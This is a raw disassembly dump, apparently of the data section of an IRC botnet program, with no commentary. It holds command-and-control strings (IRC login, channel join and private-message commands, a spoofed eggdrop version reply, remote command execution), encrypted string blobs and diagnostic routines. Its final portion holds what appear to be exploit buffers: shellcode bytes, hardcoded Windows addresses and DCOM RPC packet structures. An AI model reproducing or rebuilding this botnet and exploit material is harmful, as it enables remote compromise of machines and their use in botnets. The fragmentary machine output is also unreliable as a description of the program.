					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_408F2E+1EDo
dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh		; DATA XREF: sub_408F2E+17Co
					; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo
dword_4194CC	dd 3430032Dh, 2037802h	; DATA XREF: sub_409AD5:loc_409B25o
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h			; DATA XREF: sub_40A2D2+159o
dword_419660	dd 0A0D7325h, 0		; DATA XREF: sub_40A2D2+6Eo
dword_419668	dd 3334h		; DATA XREF: sub_40A2D2+41o
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 259B8h		; DATA XREF: sub_40A9CF+1ECDr
		align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 577ED30h		; DATA XREF: sub_40A9CF+1C87r
		dd 2 dup(0)
dword_419788	dd 5658h		; DATA XREF: sub_40A9CF+1C72r
		align 10h
dword_419790	dd 4827598h		; DATA XREF: sub_40A9CF+1C4Br
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 2DEB94F9h		; DATA XREF: sub_40A9CF+1BE9r
		dd 3 dup(0)
dword_4197B4	dd 2E6BE5C8h		; DATA XREF: sub_40A9CF+1BC2r
		align 10h
dword_4197C0	dd 2E5B8h		; DATA XREF: sub_40A9CF+1BADr
		align 8
dword_4197C8	dd 2495E5C8h		; DATA XREF: sub_40A9CF+1B86r
		dd 2 dup(0)
dword_4197D4	dd 24858h		; DATA XREF: sub_40A9CF+1B71r
		dd 0
dword_4197DC	dd 21DFB0F8h		; DATA XREF: sub_40A9CF+1B36r
		dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 26809888h		; DATA XREF: sub_40A9CF+1AFCr
		dd 2 dup(0)
dword_419818	dd 266E8h		; DATA XREF: sub_40A9CF+1AE7r
		align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 91DF38h		; DATA XREF: sub_40A9CF+19B1r
		dd 2 dup(0)
dword_419844	dd 2343003h, 2037325h	; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 42A40FB6h		; DATA XREF: sub_40A9CF+180Br
		dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 151858h		; DATA XREF: sub_40A9CF+1710r
		align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch			; DATA XREF: sub_40A9CF:loc_40BFBAo
					; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 24858h		; DATA XREF: sub_40A9CF+1534r
		dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 0B7DFB102h		; DATA XREF: sub_40A9CF+14F5r
		dd 3 dup(0)
dword_41999C	dd 4B836E8h		; DATA XREF: sub_40A9CF+14E0r
		dd 2 dup(0)
dword_4199A8	dd 3E08h		; DATA XREF: sub_40A9CF+14B2r
		align 10h
dword_4199B0	dd 952EF8h		; DATA XREF: sub_40A9CF+1484r
		dd 2 dup(0)
dword_4199BC	dd 22F78h		; DATA XREF: sub_40A9CF+146Fr
		dd 0
dword_4199C4	dd 59D83703h		; DATA XREF: sub_40A9CF+1450r
		dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 1197E8h		; DATA XREF: sub_40A9CF+1400r
		align 10h
dword_419A10	dd 2AEC3778h		; DATA XREF: sub_40A9CF+1399r
		dd 2 dup(0)
dword_419A1C	dd 22DB0h		; DATA XREF: sub_40A9CF+1374r
		dd 0
dword_419A24	dd 155E78h		; DATA XREF: sub_40A9CF+135Fr
		align 10h
dword_419A30	dd 135A78h		; DATA XREF: sub_40A9CF+134Ar
		dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520h	; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 121930h		; DATA XREF: sub_40A9CF+1310r
		align 10h
dword_419A50	dd 0D0EBFCFDh		; DATA XREF: sub_40A9CF+12E9r
		align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
dword_419A7C	dd 90F030h		; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 29FB0h		; DATA XREF: sub_40A9CF+122Br
		align 10h
dword_419A90	dd 58EE830h		; DATA XREF: sub_40A9CF+11E7r
		dd 2 dup(0)
dword_419A9C	dd 25570h		; DATA XREF: sub_40A9CF+11A3r
		dd 0
dword_419AA4	dd 969E58h		; DATA XREF: sub_40A9CF+114Cr
		align 10h
dword_419AB0	dd 54524150h, 732520h	; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 0FF778h		; DATA XREF: sub_40A9CF+1112r
		dd 2 dup(0)
dword_419AC4	dd 0FB288h		; DATA XREF: sub_40A9CF+10B0r
		align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
dword_419ADC	dd 12A488h		; DATA XREF: sub_40A9CF+102Cr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 55D1DB0h		; DATA XREF: sub_40A9CF+FF6r
		dd 2 dup(0)
dword_419B08	dd 85A058h		; DATA XREF: sub_40A9CF+FC1r
		dd 2 dup(0)
dword_419B14	dd 988A30h		; DATA XREF: sub_40A9CF+F80r
		align 10h
dword_419B20	dd 53005939h		; DATA XREF: sub_40A9CF+F52r
		align 10h
dword_419B30	dd 2AD87238h		; DATA XREF: sub_40A9CF+F24r
		dd 2 dup(0)
dword_419B3C	dd 903F4F39h		; DATA XREF: sub_40A9CF+EFEr
		dd 3 dup(0)
dword_419B4C	dd 3F53B78h		; DATA XREF: sub_40A9CF+ED0r
		dd 2 dup(0)
dword_419B58	dd 1054F8h		; DATA XREF: sub_40A9CF+EAAr
		dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 2AC15529h		; DATA XREF: sub_40A9CF+E5Ar
		dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
dword_419BA4	dd 90DB78h		; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 27B78h		; DATA XREF: sub_40A9CF+CAFr
		align 8
dword_419BE8	dd 0F669DEC8h		; DATA XREF: sub_40A9CF+C68r
		dd 3 dup(0)
dword_419BF8	dd 51AF03CEh		; DATA XREF: sub_40A9CF+C05r
		dd 4 dup(0)
dword_419C0C	dd 560C8BD9h		; DATA XREF: sub_40A9CF+BDEr
		dd 3 dup(0)
dword_419C1C	dd 125EC8h		; DATA XREF: sub_40A9CF+B97r
		dd 2 dup(0)
dword_419C28	dd 23B2DEC8h		; DATA XREF: sub_40A9CF+B82r
		dd 2 dup(0)
dword_419C34	dd 3E3DEC8h		; DATA XREF: sub_40A9CF+B6Dr
		align 10h
dword_419C40	dd 2AC19078h		; DATA XREF: sub_40A9CF+B3Fr
		dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C	dd 3D18h		; DATA XREF: sub_40A9CF+B0Cr
		dd 0
dword_419C64	dd 25CB99D8h		; DATA XREF: sub_40A9CF+AE5r
		align 10h
dword_419C70	dd 26F91BF8h		; DATA XREF: sub_40A9CF+AB4r
		dd 2 dup(0)
dword_419C7C	dd 26F7D4F8h		; DATA XREF: sub_40A9CF+A83r
		dd 2 dup(0)
dword_419C88	dd 0BA3DCE82h		; DATA XREF: sub_40A9CF+A5Dr
		dd 3 dup(0)
dword_419C98	dd 0BA3E0C3Ah		; DATA XREF: sub_40A9CF+A11r
		dd 3 dup(0)
dword_419CA8	dd 27740A05h		; DATA XREF: sub_40A9CF+9DCr
		dd 3 dup(0)
dword_419CB8	dd 3F2F239h		; DATA XREF: sub_40A9CF+9A1r
		dd 3 dup(0)
dword_419CC8	dd 12E5F8h		; DATA XREF: sub_40A9CF+96Cr
		dd 2 dup(0)
dword_419CD4	dd 11709839h		; DATA XREF: sub_40A9CF+937r
		dd 3 dup(0)
dword_419CE4	dd 24EBDF78h		; DATA XREF: sub_40A9CF+911r
		align 10h
dword_419CF0	dd 1274D8h		; DATA XREF: sub_40A9CF+8FCr
		dd 2 dup(0)
dword_419CFC	dd 119530h		; DATA XREF: sub_40A9CF+8C5r
		dd 2 dup(0)
dword_419D08	dd 5070h		; DATA XREF: sub_40A9CF+87Er
		align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_40A9CF+7D2o
dword_419D84	dd 9Ah,	0		; DATA XREF: sub_40A9CF+79Eo
dword_419D8C	dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h
					; DATA XREF: sub_40A9CF+790o
		dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0)
dword_419DB0	dd 4CFC788h		; DATA XREF: sub_40A9CF+77Ar
		dd 2 dup(0)
dword_419DBC	dd 225CC0D9h		; DATA XREF: sub_40A9CF+753r
		dd 3 dup(0)
dword_419DCC	dd 16C4931h		; DATA XREF: sub_40A9CF+6EDr
		dd 3 dup(0)
dword_419DDC	dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh
					; DATA XREF: sub_40A9CF+534o
		dd 87F6CDABh, 2	dup(0)
dword_419DFC	dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: sub_40A9CF+437o
		dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h
		dd 0BDB1F9BBh, 2 dup(0)
dword_419E48	dd 21CC8h		; DATA XREF: sub_40A9CF+410r
		align 10h
dword_419E50	dd 3F1EAF9h		; DATA XREF: sub_40A9CF+3E9r
		align 10h
dword_419E60	dd 3EDD4F9h		; DATA XREF: sub_40A9CF+3BBr
		align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 242660F8h		; DATA XREF: sub_40A9CF+2C0r
		dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h		; DATA XREF: sub_40A9CF+1E3o
dword_419EC4	dd 2B7260F8h		; DATA XREF: sub_40A9CF+18Dr
		align 10h
dword_419ED0	dd 8EB758h		; DATA XREF: sub_40A9CF+158r
		dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 473EDB0h		; DATA XREF: sub_40A9CF+106r
		dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h	; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 1685E8h		; DATA XREF: sub_40A9CF+90r
		dd 2 dup(0)
dword_419F18	dd 3C1A6B1h		; DATA XREF: sub_40A9CF+69r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree_0		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1			; DATA XREF: sub_40D53F:loc_40D680o
dword_41A03C	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_40D53F:loc_40D629o
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_40D53F+63o
aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Eh	; DATA XREF: sub_40D871+290o
dword_41A0E0	dd 4950013Ah, 474Eh	; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_40D871+226o
dword_41A138	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43h	; DATA XREF: sub_40D871+A6o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
